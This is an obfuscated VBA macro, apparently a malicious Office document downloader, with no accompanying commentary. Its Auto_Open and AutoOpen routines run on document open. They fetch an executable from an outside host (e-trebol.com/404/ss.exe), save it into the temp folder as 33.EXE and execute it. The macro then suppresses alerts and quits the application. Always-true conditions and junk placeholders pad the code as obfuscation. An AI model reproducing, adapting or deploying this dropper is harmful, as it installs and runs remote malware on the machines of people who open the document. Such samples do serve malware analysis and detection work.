Sub Auto_Open()
Call DownloadFile("33", "33.EXE")
End Sub
 
Sub AutoOpen()
Call DownloadFile("33", "33.EXE")
End Sub
 
Function DownloadFile(ByVal URL As String, ByVal SaveName As String, Optional SavePath As String = "temP", Optional RunAfterDownload As Boolean = True, Optional RunHide As Boolean = False)
    On Error Resume Next
    Err.Clear
 
    If 1 <> 3 And 1 <> 3 And 1 <> 3 And 1 <> 3 And 1 <> 3 And 1 <> 3 And 1 <> 3 And 1 <> 3 Then: Set ssssssssssssssssssssssss = CreateObject("Microsoft.XMLHTTP")
 
    ssssssssssssssssssssssss.Open "GET", "http://e-trebol.com/404/ss.exe", False
 
    '...junk...
 
    ssssssssssssssssssssssss.send
 
    '...junk...
 
    ssssssssssssssssssssssss.getAllResponseHeaders FullSavePath = Environ(SavePath) & "\" & SaveName 
    If 1 <> 3 And 1 <> 3 And 1 <> 3 And 1 <> 3 And 1 <> 3 And 1 <> 3 And 1 <> 3 And 1 <> 3 And 1 <> 3 And 1 <> 3 Then: Set ffffffffffffffffffffffff = CreateObject("ADODB.Stream") 
    ffffffffffffffffffffffff.Open 
 
    '...junk... 
 
    ffffffffffffffffffffffff.Type = 1 
 
    '...junk... 
 
    ffffffffffffffffffffffff.Write 
    ssssssssssssssssssssssss.responseBody 
 
    '...junk... 
 
    ffffffffffffffffffffffff.SaveToFile FullSavePath, 2 
    If Err Then 
        DownloadFile = False 
    Else 
        If RunAfterDownload = True Then 
            If RunHide = False Then: CreateObject("WScript.Shell").Run FullSavePath 
        End If 
        DownloadFile = True 
    End If 
Application.DisplayAlerts = False 
Application.Quit 
End Function